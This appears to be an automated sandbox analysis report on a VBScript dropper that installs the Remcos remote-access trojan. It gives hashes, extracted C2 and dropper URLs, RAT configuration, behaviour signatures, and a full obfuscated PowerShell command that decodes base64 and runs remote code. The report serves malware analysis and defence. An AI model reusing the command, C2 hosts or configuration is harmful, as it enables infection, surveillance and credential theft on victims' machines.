Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-11-2024 07:39

General

  • Target

    createdbestthignswihtentiretimegivenmebestforever.vbs

  • Size

    150KB

  • MD5

    3703614d7a8cee78abec953fcb0971b6

  • SHA1

    8bf58afd59612f71f4d767f402f166122a4b3470

  • SHA256

    9c4b12f92fbde8c79f404703fe07576dc3b9a1a30052251e59dbc5d547dffc93

  • SHA512

    25493a97a739389b11014bcb5d0c5a8c0cdc178e62594582c40ab13acf1654713108c75d9273172f7883dcc19e27ffe9803ea818e0c3ef3546a17d5e6a45bf02

  • SSDEEP

    3072:OSkcclGF+6kr/vfxM1MheSkcclGF+6kr/vfxM1MheSkcclGF+6kr/vfxM1Mh6:FkoF+7fx8MnkoF+7fx8MTkoF+7fx8MI

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://3012.filemail.com/api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jibXrPYJoFvjqaK50qGw&track=krUNywEJ&skipreg=true&pk_vid=a6a926643893714e17327089141d9432

exe.dropper

https://3012.filemail.com/api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jibXrPYJoFvjqaK50qGw&track=krUNywEJ&skipreg=true&pk_vid=a6a926643893714e17327089141d9432

Extracted

Family

remcos

Botnet

RemoteHost

C2

newbeggin.duckdns.org:2431

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-8FCP5S

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\createdbestthignswihtentiretimegivenmebestforever.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE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KCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5016
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:1672
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\eferxqlndirtshjeqgbsqdoiuwdnrttu"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2736
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\hzsb"
          4⤵
            PID:1876
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\hzsb"
            4⤵
              PID:1700
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\hzsb"
              4⤵
              • Accesses Microsoft Outlook accounts
              • System Location Discovery: System Language Discovery
              PID:3936
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\rbxuzth"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1020

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n4ljcuux.scq.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\eferxqlndirtshjeqgbsqdoiuwdnrttu

        Filesize

        4KB

        MD5

        7aca43b2800ceb18b3ed2326532545de

        SHA1

        d4cf207ef85bd749d59c1cb27a09c167ee21523a

        SHA256

        3d9f8622d97587fd84d3d0560a50ab38e5f894fe4b5bcaa34279643fdaaeb480

        SHA512

        0e002e6b8d965c227d9b1aa7c0251619c787ec7717e59667e756e5815e3666a955ea397eb148a1ed6bb7d8045727e4efa656a103f14bc70a03b03f0c91283c2f

      • memory/1020-42-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/1020-39-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/1020-41-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/1672-51-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-28-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-61-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-60-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-17-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-20-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-21-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-59-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-24-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-23-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-25-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-26-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-27-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-50-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/1672-29-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-31-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-49-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/1672-46-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/1672-58-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-56-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-57-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-55-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-54-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-53-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1672-52-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2736-32-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/2736-34-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/2736-33-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/3936-43-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/3936-38-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/3936-40-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/5016-0-0x00007FFFCD2F3000-0x00007FFFCD2F5000-memory.dmp

        Filesize

        8KB

      • memory/5016-1-0x0000020845F70000-0x0000020845F92000-memory.dmp

        Filesize

        136KB

      • memory/5016-11-0x00007FFFCD2F0000-0x00007FFFCDDB1000-memory.dmp

        Filesize

        10.8MB

      • memory/5016-12-0x00007FFFCD2F0000-0x00007FFFCDDB1000-memory.dmp

        Filesize

        10.8MB

      • memory/5016-14-0x00007FFFCD2F3000-0x00007FFFCD2F5000-memory.dmp

        Filesize

        8KB

      • memory/5016-13-0x00007FFFCD2F0000-0x00007FFFCDDB1000-memory.dmp

        Filesize

        10.8MB

      • memory/5016-22-0x00007FFFCD2F0000-0x00007FFFCDDB1000-memory.dmp

        Filesize

        10.8MB

      • memory/5016-16-0x0000020856F50000-0x00000208570A8000-memory.dmp

        Filesize

        1.3MB

      • memory/5016-15-0x00007FFFCD2F0000-0x00007FFFCDDB1000-memory.dmp

        Filesize

        10.8MB